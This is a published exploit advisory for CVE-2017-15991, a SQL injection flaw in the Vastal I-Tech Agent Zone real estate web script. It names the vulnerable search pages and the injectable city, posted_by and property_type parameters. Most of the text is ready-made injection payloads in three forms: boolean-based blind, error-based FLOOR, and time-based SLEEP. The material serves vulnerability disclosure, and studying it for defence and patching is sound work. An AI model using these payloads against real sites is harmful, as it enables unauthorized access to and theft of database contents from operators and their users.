Vastal I-Tech Agent Zone SQL Injection

`# # # # #   
# Exploit Title: Vastal I-Tech Agent Zone - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://vastal.com/  
# Software http://vastal.com/agent-zone-real-estate-script.html  
# Demo: http://agentzone.vastal.com/demo/  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-15991  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/searchCommercial.php?property_type=[SQL]&city=[SQL]&posted_by=[SQL]  
#   
# http://localhost/[PATH]/searchResidential.php?property_type=[SQL]&city=[SQL]&bedroom=[SQL]  
#   
# Parameter: city (GET)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
# Payload: property_type=&city=-5275 OR 1703=1703#&posted_by=  
#   
# Type: error-based  
# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
# Payload: property_type=&city=-1769 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (2860=2860) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&posted_by=  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 time-based blind - Parameter replace  
# Payload: property_type=&city=(CASE WHEN (9487=9487) THEN SLEEP(5) ELSE 9487 END)&posted_by=  
#   
# Parameter: posted_by (GET)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
# Payload: property_type=&city=&posted_by=-5550 OR 1335=1335#  
#   
# Type: error-based  
# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
# Payload: property_type=&city=&posted_by=-9423 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (4134=4134) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 time-based blind - Parameter replace  
# Payload: property_type=&city=&posted_by=(CASE WHEN (3754=3754) THEN SLEEP(5) ELSE 3754 END)  
#   
# Parameter: property_type (GET)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
# Payload: property_type=-8633 OR 6527=6527#&city=&posted_by=  
#   
# Type: error-based  
# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
# Payload: property_type=-4342 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (3911=3911) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&city=&posted_by=  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 time-based blind - Parameter replace  
# Payload: property_type=(CASE WHEN (2911=2911) THEN SLEEP(5) ELSE 2911 END)&city=&posted_by=  
#   
# Etc..  
# # # # #  
  
`